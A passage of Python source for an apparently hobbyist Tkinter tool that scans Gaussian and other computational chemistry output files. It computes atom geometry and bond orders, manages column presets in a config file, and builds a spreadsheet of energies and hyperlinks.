enumerate(map[idx]):\n\t\t\t\tif b is None: continue\n\t\t\t\telif visited[ib]: continue\n\t\t\t\telse:\n\t\t\t\t\tprint(f\"Leaving {idx+1} to check on {ib+1} because of BO: {b}\")\n\t\t\t\t\tcheck(ib, atoms)\n\t\t\treturn atoms\n\t\tfor ia,a in enumerate(map):\n\t\t\tif visited[ia]: continue\n\t\t\telse:\n\t\t\t\tprint(f\"Adding new entitie starting from {ia+1}\")\n\t\t\t\tn_entities +=1\n\t\t\t\tentities.append(check(ia,[]))\n\t\tprint(\"Visited\\n\",visited)\n\t\tprint(\"n entitites\\n\", n_entities)\n\t\tprint(\"entities\\n\", entities)\n\n\tdef valid_idxs(func):\n\t\tdef wrapper(obj,*list):\n\t\t\tassert all([type(n) is int for n in list]), \"Atom indexes should be integers\"\n\t\t\tassert all([n in range(len(obj.atom_list)) for n in list]), \"Atom indexes are out of range\"\n\t\t\treturn func(obj,*list)\n\t\treturn wrapper\n\t@valid_idxs\n\tdef ab_distance(self,a,b):\n\t\treturn self.atom_list[a].distance(self.atom_list[b])\n\t@valid_idxs\n\tdef abc_angle(self,a,b,c):\n\t\treturn self.atom_list[a].angle(self.atom_list[b],self.atom_list[c])\n\t@valid_idxs\n\tdef abcd_dihedral(self,a,b,c,d):\n\t\treturn self.atom_list[a].dihedral(self.atom_list[b],self.atom_list[c],self.atom_list[d])\nclass Atom:\n\tel_radii = dict(element_radii)\n\tdef __init__(self,line,idx):\n\t\tassert type(line) is list\n\t\tassert len(line) == 4\n\t\tassert line[0] in elements\n\t\tassert all(is_str_float(a) for a in line[1:])\n\t\tself.idx = idx\n\t\tself.element = line[0]\n\t\tself.cord = [float(a) for a in line[1:]]\n\tdef distance(self,other):\n\t\treturn sum((b - a) ** 2 for a, b in zip(self.cord, other.cord)) ** 0.5\n\tdef angle(self,other_a,other_b):\n\t\ta_a = np.array(self.cord)\n\t\tb_a = np.array(other_a.cord)\n\t\tc_a = np.array(other_b.cord)\n\t\tba, bc = a_a - b_a, c_a - b_a\n\t\tcosine_angle = np.dot(ba, bc) / (np.linalg.norm(ba) * np.linalg.norm(bc))\n\t\tangle = np.arccos(cosine_angle)\n\t\t#print(\"Angle :\",self.idx,other_a.idx,other_b.idx,\"is:\", \"{:.2f}\u00b0\".format(np.degrees(angle)))\n\t\treturn angle\n\tdef dihedral(self,other_a,other_b,other_c):\n\t\tp = np.array([self.cord,other_a.cord,other_b.cord,other_c.cord])\n\t\t# From: stackoverflow.com/questions/20305272/dihedral-torsion-angle-from-four-points-in-cartesian-coordinates-in-python\n\t\tb = p[:-1] - p[1:]\n\t\tb[0] *= -1\n\t\tv = np.array([np.cross(v, b[1]) for v in [b[0], b[2]]])\n\t\t# Normalize vectors\n\t\tv /= np.sqrt(np.einsum('...i,...i', v, v)).reshape(-1, 1)\n\t\treturn np.degrees(np.arccos(v[0].dot(v[1])))\n\tdef ts_bond_order(self,other):\n\t\treturn math.exp((Atom.el_radii[self.element]/100 + Atom.el_radii[other.element]/100 - self.distance(other))/0.6)\n\tdef int_bond_order(self,other):\n\t\treturn math.exp((Atom.el_radii[self.element]/100 + Atom.el_radii[other.element]/100 - self.distance(other))/0.3)\n\tdef __str__(self):\n\t\treturn \"{}{}\".format(self.idx,self.element)\n\nclass Var:\n\tconf_dir = os.path.dirname(__file__)\n\tconf_file = os.path.join(conf_dir, \"chemxls_preferences.init\")\n\tdef __init__(self,conf_file=conf_file):\n\t\tself.ext = [\"any\", \".xyz\", \".gjf\", \".com\", \".log\", \".inp\", \".out\"]\n\t\ta = self.ext\n\t\tself.options = [\n\t\t\t{\"short\":\"Blank\",              \"uid\":\"001\", \"extension\":a[0], \"supl\":False, \"float\":False, \"hyp\":False, \"long\":\"Blank column\"                                               },\n\t\t\t{\"short\":\"Eh to kcal/mol\",     \"uid\":\"002\", \"extension\":a[0], \"supl\":False, \"float\":True , \"hyp\":False, \"long\":\"Hartree to kcal/mol conversion factor (627.5)\"              },\n\t\t\t{\"short\":\"Eh to kJ/mol\",       \"uid\":\"003\", \"extension\":a[0], \"supl\":False, \"float\":True , \"hyp\":False, \"long\":\"Hartree to kJ/mol conversion factor (2625.5)\"               },\n\t\t\t{\"short\":\"Filename\",           \"uid\":\"004\", \"extension\":a[0], \"supl\":False, \"float\":False, \"hyp\":False, \"long\":\"Filename\"                                                   },\n\t\t\t{\"short\":\"Folder\",             \"uid\":\"005\", \"extension\":a[0], \"supl\":False, \"float\":False, \"hyp\":True , \"long\":\"Hyperlink to corresponding folder\"                          },\n\t\t\t{\"short\":\".xyz\",               \"uid\":\"006\", \"extension\":a[1], \"supl\":False, \"float\":False, \"hyp\":True , \"long\":\"Hyperlink to Filename.xyz\"                                  },\n\t\t\t{\"short\":\".gjf\",               \"uid\":\"007\", \"extension\":a[2], \"supl\":False, \"float\":False, \"hyp\":True , \"long\":\"Hyperlink to Filename.gjf\"                                  },\n\t\t\t{\"short\":\".gjf_#\",             \"uid\":\"008\", \"extension\":a[2], \"supl\":False, \"float\":False, \"hyp\":False, \"long\":\"Route section read from Filename.gjf\"                       },\n\t\t\t{\"short\":\".com\",               \"uid\":\"009\", \"extension\":a[3], \"supl\":False, \"float\":False, \"hyp\":True , \"long\":\"Hyperlink to Filename.com\"                                  },\n\t\t\t{\"short\":\".com_#\",             \"uid\":\"010\", \"extension\":a[3], \"supl\":False, \"float\":False, \"hyp\":False, \"long\":\"Route section read from Filename.com\"                       },\n\t\t\t{\"short\":\".log\",               \"uid\":\"011\", \"extension\":a[4], \"supl\":False, \"float\":False, \"hyp\":True , \"long\":\"Hyperlink to Filename.log\"                                  },\n\t\t\t{\"short\":\".log_#\",             \"uid\":\"012\", \"extension\":a[4], \"supl\":False, \"float\":False, \"hyp\":False, \"long\":\"Route section read from Filename.log\"                       },\n\t\t\t{\"short\":\"E0\",                 \"uid\":\"013\", \"extension\":a[4], \"supl\":False, \"float\":True , \"hyp\":False, \"long\":\"Energy from last SCF cycle\"                                 },\n\t\t\t{\"short\":\"iFreq\",              \"uid\":\"014\", \"extension\":a[4], \"supl\":False, \"float\":False, \"hyp\":False, \"long\":\"Number of imaginary frequencies found on Filename.log\"      },\n\t\t\t{\"short\":\"E_ZPE\",              \"uid\":\"015\", \"extension\":a[4], \"supl\":False, \"float\":True , \"hyp\":False, \"long\":\"Zero-point correction\"                                      },\n\t\t\t{\"short\":\"E_tot\",              \"uid\":\"016\", \"extension\":a[4], \"supl\":False, \"float\":True , \"hyp\":False, \"long\":\"Thermal correction to Energy\"                               },\n\t\t\t{\"short\":\"H_corr\",             \"uid\":\"017\", \"extension\":a[4], \"supl\":False, \"float\":True , \"hyp\":False, \"long\":\"Thermal correction to Enthalpy\"                             },\n\t\t\t{\"short\":\"G_corr\",             \"uid\":\"018\", \"extension\":a[4], \"supl\":False, \"float\":True , \"hyp\":False, \"long\":\"Thermal correction to Gibbs Free Energy\"                    },\n\t\t\t{\"short\":\"E0+E_ZPE\",           \"uid\":\"019\", \"extension\":a[4], \"supl\":False, \"float\":True , \"hyp\":False, \"long\":\"Sum of electronic and zero-point Energies\"                  },\n\t\t\t{\"short\":\"E0+E_tot\",           \"uid\":\"020\", \"extension\":a[4], \"supl\":False, \"float\":True , \"hyp\":False, \"long\":\"Sum of electronic and thermal Energies\"                     },\n\t\t\t{\"short\":\"E0+H_corr\",          \"uid\":\"021\", \"extension\":a[4], \"supl\":False, \"float\":True , \"hyp\":False, \"long\":\"Sum of electronic and thermal Enthalpies\"                   },\n\t\t\t{\"short\":\"E0+G_corr\",          \"uid\":\"022\", \"extension\":a[4], \"supl\":False, \"float\":True , \"hyp\":False, \"long\":\"Sum of electronic and thermal Free Energies\"                },\n\t\t\t{\"short\":\"Done?\",              \"uid\":\"023\", \"extension\":a[4], \"supl\":False, \"float\":False, \"hyp\":False, \"long\":\"Filename.log gaussian normal termination status\"            },\n\t\t\t{\"short\":\"Error\",              \"uid\":\"024\", \"extension\":a[4], \"supl\":False, \"float\":False, \"hyp\":False, \"long\":\"Error messages found on Filename.log\"                       },\n\t\t\t{\"short\":\"HOMO\",               \"uid\":\"025\", \"extension\":a[4], \"supl\":False, \"float\":True , \"hyp\":False, \"long\":\"HOMO from Alpha  occ. eigenvalues of Filename.log\"          },\n\t\t\t{\"short\":\"LUMO\",               \"uid\":\"026\", \"extension\":a[4], \"supl\":False, \"float\":True , \"hyp\":False, \"long\":\"LUMO from Alpha virt. eigenvalues of Filename.log\"          },\n\t\t\t{\"short\":\"HOMO-LUMO\",          \"uid\":\"027\", \"extension\":a[4], \"supl\":False, \"float\":True , \"hyp\":False, \"long\":\"HOMO-LUMO from Alpha occ. & virt. eigenv. of Filename.log\"  },\n\t\t\t{\"short\":\"Charge\",             \"uid\":\"028\", \"extension\":a[4], \"supl\":False, \"float\":False, \"hyp\":False, \"long\":\"Charge from Filename.log\"                                   },\n\t\t\t{\"short\":\"Mult\",               \"uid\":\"029\", \"extension\":a[4], \"supl\":False, \"float\":False, \"hyp\":False, \"long\":\"Starting multiplicity from Filename.log\"                    },\n\t\t\t{\"short\":\"n_SCF\",              \"uid\":\"030\", \"extension\":a[4], \"supl\":False, \"float\":False, \"hyp\":False, \"long\":\"Number of 'SCF Done:' keywords found\"                       },\n\t\t\t{\"short\":\"n_atoms\",            \"uid\":\"031\", \"extension\":a[4], \"supl\":False, \"float\":False, \"hyp\":False, \"long\":\"Number of atoms on Filename.log\"                            },\n\t\t\t{\"short\":\"TYP\",                \"uid\":\"032\", \"extension\":a[4], \"supl\":False, \"float\":False, \"hyp\":False, \"long\":\"Filename.log calculation type (This may be unreliable)\"     },\n\t\t\t{\"short\":\"Needs refinement?\",  \"uid\":\"033\", \"extension\":a[4], \"supl\":False, \"float\":False, \"hyp\":False, \"long\":\"Filename.log calculation type consistency with iFreq\"       },\n\t\t\t{\"short\":\"S**2 BA\",            \"uid\":\"034\", \"extension\":a[4], \"supl\":False, \"float\":True , \"hyp\":False, \"long\":\"Filename.log last spin densities before anihilation\"        },\n\t\t\t{\"short\":\"S**2 After\",         \"uid\":\"035\", \"extension\":a[4], \"supl\":False, \"float\":True , \"hyp\":False, \"long\":\"Filename.log last spin densities after anihilation\"         },\n\t\t\t{\"short\":\"LG\",                 \"uid\":\"036\", \"extension\":a[4], \"supl\":True , \"float\":False, \"hyp\":True , \"long\":\"Filename.log last geometry\"                                 },\n\t\t\t{\"short\":\"MulkSpinDens\",       \"uid\":\"037\", \"extension\":a[4], \"supl\":True , \"float\":False, \"hyp\":True , \"long\":\"Filename.log last Muliken charge and spin density\"          },\n\t\t\t{\"short\":\"LastIntCoord\",       \"uid\":\"038\", \"extension\":a[4], \"supl\":True , \"float\":False, \"hyp\":True , \"long\":\"Filename.log last Internal coordinates\"                     },\n\t\t\t{\"short\":\"MulkCharges\",        \"uid\":\"039\", \"extension\":a[4], \"supl\":True , \"float\":False, \"hyp\":True , \"long\":\"Filename.log last Muliken charge\"                           },\n\t\t\t{\"short\":\"ESPCharges\",         \"uid\":\"040\", \"extension\":a[4], \"supl\":True , \"float\":False, \"hyp\":True , \"long\":\"Filename.log last ESP charge\"                               },\n\t\t\t{\"short\":\"POPAnalysis\",        \"uid\":\"041\", \"extension\":a[4], \"supl\":True , \"float\":False, \"hyp\":True , \"long\":\"Filename.log last population analysis\"                      },\n\t\t\t{\"short\":\"NPAAnalysis\",        \"uid\":\"042\", \"extension\":a[4], \"supl\":True , \"float\":False, \"hyp\":True , \"long\":\"Filename.log last NPA analysis\"                             },\n\t\t\t{\"short\":\"APTCharges\",         \"uid\":\"043\", \"extension\":a[4], \"supl\":True , \"float\":False, \"hyp\":True , \"long\":\"Filename.log last APT charges\"                              },\n\t\t\t{\"short\":\".inp\",               \"uid\":\"044\", \"extension\":a[5], \"supl\":False, \"float\":False, \"hyp\":True ,\t\"long\":\"Hyperlink to Filename.inp\"                                  },\n\t\t\t{\"short\":\".out\",               \"uid\":\"045\", \"extension\":a[6], \"supl\":False, \"float\":False, \"hyp\":True , \"long\":\"Hyperlink to Filename.out\"                                  },\n\t\t]\n\n\t\tassert not any(a[\"hyp\"] and a[\"float\"] for a in self.options), \"Cannot be float and hyperlink simultaneously\"\n\t\tassert len(set(a[\"uid\"] for a in self.options)) == len(self.options), \"UIDs have to be unique\"\n\t\tassert len(set(a[\"short\"] for a in self.options)) == len(self.options), \"Short names have to be unique\"\n\t\tassert len(set(a[\"long\"] for a in self.options)) == len(self.options), \"Long names have to be unique\"\n\t\tassert set(a[\"extension\"] for a in self.options) == set(self.ext), \"Are there unused extensions or typos?\"\n\t\tassert all([a[\"hyp\"] and a[\"supl\"] for a in self.options if a[\"supl\"]]), \"Use of suplementary files must be accompanied by corresponding hyperlink\"\n\n\t\tself.std_config = configparser.ConfigParser()\n\t\tself.std_config[\"DEFAULT\"] = {\"options\": \"005 004 006 007 011\",\"splitext\":\"False\",\"splitjobs\":\"False\"}\n\t\tself.std_config[\"STARTUP\"] = {\"options\": \"005 004 006 007 011\",\"splitext\":\"False\",\"splitjobs\":\"False\"}\n\t\tself.std_config[\"PRESETA\"] = {\"options\": \"005 004 006 007\"    ,\"splitext\":\"False\",\"splitjobs\":\"False\"}\n\t\tself.std_config[\"PRESETB\"] = {\"options\": \"005 004 006\"        ,\"splitext\":\"False\",\"splitjobs\":\"False\"}\n\t\tself.std_config[\"PRESETC\"] = {\"options\": \"005 004\"            ,\"splitext\":\"False\",\"splitjobs\":\"False\"}\n\t\tif not os.path.isfile(conf_file):\n\t\t\twith open(conf_file, \"w\") as configfile:\n\t\t\t\tself.std_config.write(configfile)\n\t\t\tself.config = self.std_config\n\t\telse:\n\t\t\tself.config = configparser.ConfigParser()\n\t\t\tself.config.read(conf_file)\n\t\tdef pick(args,get_type,valid_keys={},default=None,config=self.config,std_config=self.std_config):\n\t\t\ttry:\n\t\t\t\tif   get_type == \"str\" : result = config.get(*args)\n\t\t\t\telif get_type == \"bool\": result = config.getboolean(*args)\n\t\t\t\telif get_type == \"int\" : result = config.getint(*args)\n\t\t\texcept:\n\t\t\t\tif   get_type == \"str\" : result = std_config.get(*args)\n\t\t\t\telif get_type == \"bool\": result = std_config.getboolean(*args)\n\t\t\t\telif get_type == \"int\" : result = std_config.getint(*args)\n\t\t\tfinally:\n\t\t\t\tif valid_keys          : result = valid_keys.get(result,default)\n\t\t\t\treturn result\n\t\tbig_name = [\"DEFAULT\"           ,\"STARTUP\"           ,\"PRESETA\"            ,\"PRESETB\"            ,\"PRESETC\"            ]\n\t\topt      = [\"default_options\"   ,\"startup_options\"   ,\"preset_a_options\"   ,\"preset_b_options\"   ,\"preset_c_options\"   ]\n\t\tsplit    = [\"default_split\"     ,\"startup_split\"     ,\"preset_a_split\"     ,\"preset_b_split\"     ,\"preset_c_split\"     ]\n\t\tjobs     = [\"default_split_jobs\",\"startup_split_jobs\",\"preset_a_split_jobs\",\"preset_b_split_jobs\",\"preset_c_split_jobs\"]\n\t\tvalid_keys = [a[\"uid\"] for a in self.options]\n\t\tfor big,a,b,c in zip(big_name,opt,split,jobs):\n\t\t\tsetattr(self,a,[n for n in pick((big,\"options\"),\"str\").split() if n in valid_keys])\n\t\t\tsetattr(self,b,pick((big,\"splitext\" ),\"bool\", default=False))\n\t\t\tsetattr(self,c,pick((big,\"splitjobs\"),\"bool\", default=False))\n\n\tdef set_variables(self,section,option,value,conf_file=conf_file):\n\t\tself.config[section][option] = value\n\t\twith open(conf_file, \"w\") as configfile:\n\t\t\tself.config.write(configfile)\n\t\tself.__init__()\n\n#GUI CLASSES\nclass FileFolderSelection(tk.Frame):\n\tdef __init__(self,parent):\n\t\ttk.Frame.__init__(self,parent)\n\t\tself.in_folder = None # str\n\t\tself.in_folder_label = tk.StringVar(value=\"Please set folder name\")\n\t\tself.supl_folder = None # str\n\t\tself.supl_folder_label = tk.StringVar(value=\"Please set folder name\")\n\t\tself.supl_folder_auto = tk.BooleanVar(value=True)\n\t\tself.xls_path = None # str\n\t\tself.xls_path_label = tk.StringVar(value=\"Please set file name\")\n\t\tself.xls_path_auto = tk.BooleanVar(value=True)\n\t\tself.recursive_analysis = tk.BooleanVar(value=True)\n\t\tself.str_width = 500\n\t\tself.grid_columnconfigure(0, weight=1)\n\t\tself.lock = False\n\t\tself.check_buttons = []\n\t\tself.buttons = []\n\n\t\t#INPUT FOLDER\n\t\tbox = self.boxify(\"Analyze this directory:\", 0)\n\t\tlabel = tk.Label(box, textvariable=self.in_folder_label)\n\t\tlabel.config(width=self.str_width, fg=\"navy\")\n\t\tlabel.grid(column=0, row=0)\n\t\tbutton = tk.Button(box, text=\"Select\", command=self.set_in_folder, padx=\"1\", pady=\"0\")\n\t\tbutton.config(fg=\"navy\")\n\t\tbutton.grid(column=1, row=0, sticky=\"e\")\n\t\tself.buttons.append(button)\n\t\tcheck_button = tk.Checkbutton(box, text=\"Recursively\",\n\t\t\t\t\t\t\t\t\t  variable=self.recursive_analysis,\n\t\t\t\t\t\t\t\t\t  onvalue=True,\n\t\t\t\t\t\t\t\t\t  offvalue=False,\n\t\t\t\t\t\t\t\t\t  selectcolor=\"gold\")\n\t\tcheck_button.grid(column=2, row=0, sticky=\"w\")\n\t\tself.check_buttons.append(check_button)\n\n\t\t#SUPLEMENTARY FOLDER\n\t\tbox = self.boxify(\"Write suplementary files to this directory:\", 1)\n\t\tlabel = tk.Label(box, textvariable=self.supl_folder_label)\n\t\tlabel.config(width=self.str_width)\n\t\tlabel.grid(column=0, row=0)\n\t\tbutton = tk.Button(box, text=\"Select\", command=self.set_supl_folder, padx=\"1\", pady=\"0\")\n\t\tbutton.grid(column=1, row=0, sticky=\"e\")\n\t\tself.buttons.append(button)\n\t\tcheck_button = tk.Checkbutton(box, text=\"Auto\",\n\t\t\t\t\t\t\t\t\t  variable=self.supl_folder_auto,\n\t\t\t\t\t\t\t\t\t  onvalue=True, offvalue=False,\n\t\t\t\t\t\t\t\t\t  command=self.auto_set_supl)\n\t\tcheck_button.grid(column=2, row=0, sticky=\"w\")\n\t\tself.check_buttons.append(check_button)\n\t\t# XLS file\n\t\tbox = self.boxify(\"Write xls file here:\", 2)\n\t\tlabel = tk.Label(box, textvariable=self.xls_path_label)\n\t\tlabel.config(width=self.str_width)\n\t\tlabel.grid(column=0, row=0)\n\t\tbutton = tk.Button(box, text=\"Select\", command=self.set_xls_path, padx=\"1\", pady=\"0\")\n\t\tbutton.grid(column=1, row=0, sticky=\"e\")\n\t\tself.buttons.append(button)\n\t\tcheck_button = tk.Checkbutton(box, text=\"Auto\",\n\t\t\t\t\t\t\t\t\t  variable=self.xls_path_auto,\n\t\t\t\t\t\t\t\t\t  onvalue=True, offvalue=False,\n\t\t\t\t\t\t\t\t\t  command=self.auto_set_xls)\n\t\tcheck_button.grid(column=2, row=0, sticky=\"w\")\n\t\tself.check_buttons.append(check_button)\n\n\t\t#AUTO SET\n\t\tif len(sys.argv) > 1 and sys.argv[-1] in [\"--cwd\",\"-cwd\",\"cwd\"]:\n\t\t\tself.in_folder = os.path.normpath(os.getcwd())\n\t\t\tself.in_folder_label.set(trim_str(self.in_folder,self.str_width))\n\t\t\tif self.xls_path_auto.get(): self.auto_set_xls()\n\t\t\tif self.supl_folder_auto.get(): self.auto_set_supl()\n\n\tdef boxify(self,name,row):\n\t\tbox = tk.LabelFrame(self, text=name)\n\t\tbox.grid(column=0, row=row, sticky=\"news\")\n\t\tbox.grid_columnconfigure(2, minsize=90)\n\t\tbox.grid_columnconfigure(0, weight=1)\n\t\treturn box\n\tdef set_in_folder(self):\n\t\tin_folder = filedialog.askdirectory()\n\t\tassert type(in_folder) == str\n\t\tif type(in_folder) == str and in_folder.strip() != \"\":\n\t\t\tself.in_folder = os.path.normpath(in_folder)\n\t\t\tself.in_folder_label.set(trim_str(self.in_folder,self.str_width))\n\t\t\tif self.xls_path_auto.get(): self.auto_set_xls()\n\t\t\tif self.supl_folder_auto.get(): self.auto_set_supl()\n\t\telse:\n\t\t\tmessagebox.showinfo(title=\"Folder selection\", message=\"Folder won't be set!\")\n\tdef set_supl_folder(self):\n\t\tsupl_folder = filedialog.askdirectory()\n\t\tif type(supl_folder) == str and supl_folder.strip() != \"\":\n\t\t\tself.supl_folder = os.path.normpath(os.path.join(supl_folder, \"chemxlslx_supl_files\"))\n\t\t\tself.supl_folder_auto.set(False)\n\t\t\tself.supl_folder_label.set(trim_str(self.supl_folder, self.str_width))\n\t\telse:\n\t\t\tmessagebox.showinfo(title=\"Folder selection\", message=\"Folder won't be set!\")\n\n\tdef auto_set_supl(self):\n\t\tif self.supl_folder_auto.get() and type(self.in_folder) == str:\n\t\t\tif not os.path.isdir(self.in_folder): return\n\t\t\tsupl_folder = os.path.join(self.in_folder, \"chemxlslx_supl_files\")\n\t\t\tsupl_folder = os.path.normpath(supl_folder)\n\t\t\tself.supl_folder = supl_folder\n\t\t\tself.supl_folder_label.set(trim_str(supl_folder,self.str_width))\n\tdef set_xls_path(self):\n\t\txls_path = filedialog.asksaveasfilename(title = \"Save xls file as:\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t  filetypes = [(\"Spreadsheet\",\"*.xls\")])\n\t\tassert type(xls_path) == str\n\t\tif os.path.isdir(os.path.dirname(xls_path)) and xls_path.strip() != \"\":\n\t\t\tif not xls_path.endswith(\".xls\"):\txls_path += \".xls\"\n\t\t\tself.xls_path = os.path.normpath(xls_path)\n\t\t\tself.xls_path_auto.set(False)\n\t\t\tself.xls_path_label.set(trim_str(self.xls_path,self.str_width))\n\t\telse:\n\t\t\tmessagebox.showinfo(title=\"File selection\", message=\"File won't be set!\")\n\n\tdef auto_set_xls(self):\n\t\tif self.xls_path_auto.get() and type(self.in_folder) == str:\n\t\t\tif not os.path.isdir(self.in_folder): return\n\t\t\tself.xls_path = os.path.join(self.in_folder,\"chemxls_analysis.xls\")\n\t\t\tself.xls_path = os.path.normpath(self.xls_path)\n\t\t\tself.xls_path_label.set(trim_str(self.xls_path,self.str_width))\n\nclass ListBoxFrame(tk.Frame):\n\tdef __init__(self,parent):\n\t\ttk.Frame.__init__(self,parent)\n\t\tself.root = parent\n\t\tself.grid_columnconfigure(0,weight=1)\n\t\tself.grid_columnconfigure(3,weight=1)\n\t\tself.columnconfigure(0,uniform=\"fred\")\n\t\tself.columnconfigure(3,uniform=\"fred\")\n\t\tself.grid_rowconfigure(1,weight=1)\n\t\tself.grid_rowconfigure(2,weight=1)\n\t\tself.lock = False\n\t\tself.preferences = Var()\n\t\tself.options = self.preferences.options\n\t\tself.need_style0 = [a[\"short\"] for a in self.options if a[\"float\"]]\n\t\tself.need_formula = [a[\"short\"] for a in self.options if a[\"hyp\"]]\n\t\tself.dict_options = {a[\"long\"]:[a[\"short\"],a[\"uid\"],a[\"extension\"]] for a in self.options}\n\t\tself.label_dict = {a[\"short\"]:a[\"long\"] for a in self.options}\n\t\tself.label_dict.update({\"Link1\":\"Job step of 'Filename.log'\"})\n\t\tself.extension_dict =  {d[\"short\"]:d[\"extension\"] for d in self.options}\n\t\tself.extension_dict.update({\"Link1\":\".log\"})\n\t\t#LEFT PANEL\n\t\tleft_label = tk.Label(self,text=\"Available options\")\n\t\tleft_label.grid(column=0,row=0,columnspan=2)\n\t\tself.listbox_a = tk.Listbox(self)\n\t\tself.populate_a(\"any\")\n\t\tself.listbox_a.grid(column=0, row=1,rowspan=4,sticky=\"news\")\n\t\tscrollbar = tk.Scrollbar(self, orient=\"vertical\")\n\t\tscrollbar.config(command=self.listbox_a.yview)\n\t\tscrollbar.grid(column=1, row=1, rowspan=4, sticky=\"ns\")\n\t\tself.listbox_a.config(yscrollcommand=scrollbar.set)\n\t\tself.check_buttons = []\n\t\tself.buttons = []\n\n\t\t#BOTTOM LEFT PANEL\n\t\tframe = tk.Frame(self)\n\t\tframe.grid(column=0,row=5,columnspan=2)\n\t\tleft_label = tk.Label(frame,text=\"Filter options by file extension:\")\n\t\tleft_label.grid(column=0,row=0)\n\t\tself.display_ext = tk.StringVar()\n\t\tself.drop_options = ttk.OptionMenu(frame,self.display_ext,\"any\",*self.preferences.ext,\n\t\t\t\t\t\t\t\t\t\t   command=lambda x=self.display_ext.get():self.populate_a(x))\n\t\tself.drop_options.configure(width=10)\n\t\tself.drop_options.grid(column=1,row=0,sticky=\"e\")\n\n\t\t#RIGHT PANEL\n\t\tright_label = tk.Label(self,text=\"Selected options\")\n\t\tright_label.grid(column=3,row=0,columnspan=2)\n\t\tself.listbox_b = tk.Listbox(self)\n\t\tself.listbox_b.grid(column=3, row=1, rowspan=4, sticky=\"news\")\n\t\tself.populate_b(self.preferences.startup_options)\n\t\tscrollbar = tk.Scrollbar(self, orient=\"vertical\")\n\t\tscrollbar.config(command=self.listbox_b.yview)\n\t\tscrollbar.grid(column=4, row=1,rowspan=4,sticky=\"ns\")\n\t\tself.listbox_b.config(yscrollcommand=scrollbar.set)\n\n\t\t#BOTTOM RIGHT PANEL\n\t\tframe = tk.Frame(self)\n\t\tframe.grid(column=3,row=5,columnspan=2,sticky=\"news\")\n\t\tself.split_xlsx_by_ext = tk.BooleanVar(value=self.preferences.startup_split)\n\t\tcheck_button = tk.Checkbutton(frame, text=\"One extension per Spreadsheet\",\n\t\t\t\t\t\t\t\t\t  variable=self.split_xlsx_by_ext,\n\t\t\t\t\t\t\t\t\t  onvalue=True,\n\t\t\t\t\t\t\t\t\t  offvalue=False)\n\t\tself.split_jobs = tk.BooleanVar(value=self.preferences.startup_split_jobs)\n\t\tcheck_button.grid(column=0, row=0, sticky=\"w\")\n\t\tself.check_buttons.append(check_button)\n\n\t\tcheck_button = tk.Checkbutton(frame, text=\"Split gaussian jobs (Link1)\",\n\t\t\t\t\t\t\t\t\t  variable=self.split_jobs,\n\t\t\t\t\t\t\t\t\t  onvalue=True,\n\t\t\t\t\t\t\t\t\t  offvalue=False)\n\t\tcheck_button.grid(column=1, row=0, sticky=\"w\")\n\t\tself.check_buttons.append(check_button)\n\t\tfor n in range(2):\n\t\t\tframe.columnconfigure(n,weight=1, uniform='asdffw')\n\n\t\t#CENTER BUTTONS\n\t\tbutton = tk.Button(self, text=\">\", command=self.move_right, padx=\"3\")\n\t\tbutton.grid(column=2, row=1, sticky=\"news\")\n\t\tself.buttons.append(button)\n\t\tbutton = tk.Button(self, text=\"X\", command=self.delete_selection, padx=\"3\")\n\t\tbutton.grid(column=2, row=2, sticky=\"news\")\n\t\tself.buttons.append(button)\n\t\tbutton = tk.Button(self, text=u'\\u2191', command=self.mv_up_selection, padx=\"3\")\n\t\tbutton.grid(column=2, row=3, sticky=\"news\")\n\t\tself.buttons.append(button)\n\t\tbutton = tk.Button(self, text=u'\\u2193', command=self.mv_down_selection, padx=\"3\")\n\t\tbutton.grid(column=2, row=4, sticky=\"news\")\n\t\tself.buttons.append(button)\n\t\tfor n in range(4):\n\t\t\tself.rowconfigure(n+1,weight=1, uniform='buttons_')\n\n\t\t#PREFERENCE BUTTONS\n\t\tframe = tk.Frame(self)\n\t\tframe.grid(column=0,row=6,columnspan=1,rowspan=2)\n\t\ttop = [\"Startup\",\"Preset A\",\"Preset B\",\"Preset C\"]\n\t\tfor i,a in enumerate(top):\n\t\t\tbutton = tk.Button(frame, text=a, command=lambda a=a: self.load_pref(a))\n\t\t\tbutton.grid(column=i, row=0,sticky=\"news\",padx=\"5\")\n\t\t\tself.buttons.append(button)\n\t\t\tbutton = tk.Button(frame, text=\"Save\", command= lambda a=a: self.save_pref(a))\n\t\t\tbutton.grid(column=i, row=1,sticky=\"news\",padx=\"5\")\n\t\t\tself.buttons.append(button)\n\t\tbutton = tk.Button(frame, text=\"Add\\nAll\", command=self.add_all)\n\t\tbutton.grid(column=4, row=0,rowspan=2, sticky=\"news\")\n\t\tself.buttons.append(button)\n\t\tbutton = tk.Button(frame, text=\"Remove\\nAll\", command=self.rem_all)\n\t\tbutton.grid(column=5, row=0,rowspan=2, sticky=\"news\")\n\t\tself.buttons.append(button)\n\t\tfor n in range(6):\n\t\t\tframe.columnconfigure(n,weight=1, uniform='third')\n\n\t\t#PREVIEW AND GENERATE BUTTONS\n\t\tframe = tk.Frame(self)\n\t\tframe.grid(column=3,row=6,columnspan=2,rowspan=1,sticky=\"news\")\n\t\tbutton = tk.Button(frame, text=\"PREVIEW FILES\", command=self.preview_files, padx=\"1\")\n\t\tbutton.grid(column=0, row=0, columnspan=1,sticky=\"news\")\n\t\tself.buttons.append(button)\n\t\tbutton = tk.Button(frame, text=\"GENERATE XLS FILE!\", command=self.threaded_xls, padx=\"1\")\n\t\tbutton.grid(column=1, row=0, columnspan=1,sticky=\"news\")\n\t\tself.buttons.append(button)\n\t\tfor n in range(2):\n\t\t\tframe.columnconfigure(n,weight=1, uniform='prev')\n\t\t#PROGRESS BAR\n\t\tself.progress = ttk.Progressbar(self, orient=tk.HORIZONTAL, length=100, mode='determinate')\n\t\tself.progress[\"value\"] = 0\n\t\tself.progress.grid(column=0,row=8,columnspan=6,sticky=\"news\",pady=\"5\")\n\n\t\t#PROGRESS LABEL\n\t\tself.progress_label = tk.StringVar()\n\t\tself.progress_label.set(\"github.com/ricalmang\")\n\t\tlabel = tk.Label(self, textvariable=self.progress_label)\n\t\tlabel.grid(column=0, row=9,columnspan=6,sticky=\"e\")\n\n\t\tself.path_sheet = [\"abs\",\n\t\t                  \"Set A1 to 'abs' if you want Links to use absolute paths\",\n\t\t                  \"Set A1 to anything else if you want Links to use relative paths\",\n\t\t                  \"ON EXCEL: If Hyperlinks are displayed as text and are not working, try:\",\n\t\t                  \"'Ctrl + F' then, replace '=' by '=' in order to force excel to reinterpret cell data\",\n\t\t                  \"ON LIBRE OFFICE: If Hyperlinks are not working, try:\",\n\t\t                  \"'Ctrl + H' (Find & replace) then, replace 'Path!A1' by 